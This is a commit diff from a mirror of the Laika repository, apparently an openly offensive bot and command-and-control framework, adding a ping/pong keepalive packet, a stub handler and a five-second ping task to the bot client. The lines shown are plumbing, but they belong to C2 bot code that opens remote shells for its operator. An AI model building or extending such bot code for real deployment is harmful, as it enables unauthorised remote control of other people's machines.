mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-01 05:50:05 +00:00
Added LAIKAPKT_PINGPONG
- shell now has it's own task service, it's polled in shellC_poll() - default timeout for peers is 60 seconds, to change this edit the LAIKA_PEER_TIMEOUT in cnc.h
This commit is contained in:
@@ -5,6 +5,7 @@
|
||||
#include "lpacket.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpeer.h"
|
||||
#include "ltask.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
@@ -22,4 +23,6 @@ void laikaB_freeBot(struct sLaika_bot *bot);
|
||||
void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */
|
||||
bool laikaB_poll(struct sLaika_bot *bot, int timeout);
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
||||
|
||||
#endif
|
@@ -12,6 +12,11 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
||||
}
|
||||
|
||||
void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
LAIKA_DEBUG("got ping from cnc!\n");
|
||||
/* stubbed */
|
||||
}
|
||||
|
||||
/* =============================================[[ Packet Tables ]]============================================== */
|
||||
|
||||
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
@@ -19,6 +24,10 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
laikaB_handleHandshakeResponse,
|
||||
sizeof(uint8_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_PINGPONG,
|
||||
laikaB_handlePing,
|
||||
0,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
|
||||
laikaB_handleShellOpen,
|
||||
sizeof(uint16_t) + sizeof(uint16_t),
|
||||
@@ -152,4 +161,10 @@ bool laikaB_poll(struct sLaika_bot *bot, int timeout) {
|
||||
/* flush any events after (eg. made by a packet handler) */
|
||||
laikaP_flushOutQueue(&bot->pList);
|
||||
return true;
|
||||
}
|
||||
|
||||
void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
|
||||
laikaS_emptyOutPacket(bot->peer, LAIKAPKT_PINGPONG);
|
||||
}
|
@@ -30,6 +30,7 @@ int main(int argv, char *argc[]) {
|
||||
/* init task service */
|
||||
laikaT_initTaskService(&tService);
|
||||
laikaT_newTask(&tService, 100, shellTask, (void*)bot);
|
||||
laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot);
|
||||
|
||||
LAIKA_TRY
|
||||
/* connect to test CNC */
|
||||
|
Reference in New Issue
Block a user